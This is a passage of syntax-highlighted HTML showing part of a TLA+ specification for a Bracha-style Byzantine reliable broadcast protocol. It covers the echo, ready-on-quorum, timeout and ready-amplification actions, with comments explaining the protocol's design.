&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;328&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;SendEcho&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;329&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;330&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;331&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;LET&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;332&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;IN&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [sent_echo EXCEPT ![self] = v]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;333&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_abort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;recv_vars&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;334&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;335&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;R1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RCAST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;READY&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ON&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ECHO&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;QUORUM&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;336&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Upon&lt;/span&gt; &lt;span class="n"&gt;receiving&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt; &lt;span class="n"&gt;echoes&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;broadcast&lt;/span&gt; &lt;span class="n"&gt;READY&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;337&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ReadyOnEchoQuorum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;338&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;339&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;340&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;EchoQuorum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;341&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [sent_ready EXCEPT ![self] = v]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;342&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_abort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;recv_vars&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;343&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;344&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;R2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RCAST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;READY&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ON&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;TIMEOUT&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;345&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Upon&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt; &lt;span class="n"&gt;with&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt; &lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="n"&gt;echoes&lt;/span&gt; &lt;span class="n"&gt;but&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;quorum&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;broadcast&lt;/span&gt; &lt;span class="n"&gt;READY&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plurality&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;READY&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;⊥&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;346&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Only&lt;/span&gt; &lt;span class="n"&gt;proceed&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;plurality&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;backing&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;OR&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;t reach echo-backing (waiting won&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;347&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;This&lt;/span&gt; &lt;span class="n"&gt;ensures&lt;/span&gt; &lt;span class="n"&gt;we&lt;/span&gt; &lt;span class="n"&gt;wait&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;ties&lt;/span&gt; &lt;span class="n"&gt;when&lt;/span&gt; &lt;span class="n"&gt;more&lt;/span&gt; &lt;span class="n"&gt;echoes&lt;/span&gt; &lt;span class="n"&gt;could&lt;/span&gt; &lt;span class="k"&gt;break&lt;/span&gt; &lt;span class="n"&gt;them&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;348&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ReadyOnTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;349&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;350&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;351&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;TotalEchos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≥&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;352&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;EchoQuorum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;353&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;LET&lt;/span&gt; &lt;span class="n"&gt;plurality&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;PluralityAmongReceived&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;354&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;IN&lt;/span&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plurality&lt;/span&gt; &lt;span class="err"&gt;≠&lt;/span&gt; &lt;span class="n"&gt;Bottom&lt;/span&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;HasEchoBacking&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;plurality&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="err"&gt;¬&lt;/span&gt;&lt;span class="n"&gt;CanReachEchoBacking&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;355&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [sent_ready EXCEPT ![self] =&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;356&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="n"&gt;plurality&lt;/span&gt; &lt;span class="err"&gt;≠&lt;/span&gt; &lt;span class="n"&gt;Bottom&lt;/span&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;HasEchoBacking&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;plurality&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;357&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;THEN&lt;/span&gt; &lt;span class="n"&gt;plurality&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;358&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ELSE&lt;/span&gt; &lt;span class="n"&gt;Bottom&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;359&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_abort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;recv_vars&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;360&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;361&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;R3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RCAST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;READY&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;AMPLIFY&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;VALUE&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;362&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Bracha&lt;/span&gt; &lt;span class="n"&gt;amplification&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;READYs&lt;/span&gt; &lt;span class="n"&gt;force&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;363&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;backing&lt;/span&gt; &lt;span class="n"&gt;gate&lt;/span&gt; &lt;span class="n"&gt;here&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;that&lt;/span&gt; &lt;span class="n"&gt;would&lt;/span&gt; &lt;span class="k"&gt;break&lt;/span&gt; &lt;span class="n"&gt;totality&lt;/span&gt; &lt;span class="n"&gt;under&lt;/span&gt; &lt;span class="n"&gt;equivocation&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;364&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Echo&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;backing&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="n"&gt;appropriate&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;originating&lt;/span&gt; &lt;span class="n"&gt;READYs&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;R2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;amplification&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;365&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ReadyAmplifyValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;366&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;367&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;368&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;ReadyQuorum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Qa&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;369&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [sent_ready EXCEPT ![self] = v]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;370&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_abort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;recv_vars&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;371&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;372&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;R4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RCAST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;READY&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;AMPLIFY&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;BOT&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;373&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Upon&lt;/span&gt; &lt;span class="n"&gt;receiving&lt;/span&gt; &lt;span class="n"&gt;Qa&lt;/span&gt; &lt;span class="n"&gt;READY&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;⊥&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;broadcast&lt;/span&gt; &lt;span class="n"&gt;READY&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;⊥&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;374&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ReadyAmplifyBottom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;375&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;376&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;377&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;HasReadyBottomQuorum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Qa&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;378&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [sent_ready EXCEPT ![self] = Bottom]&lt;/span&gt;
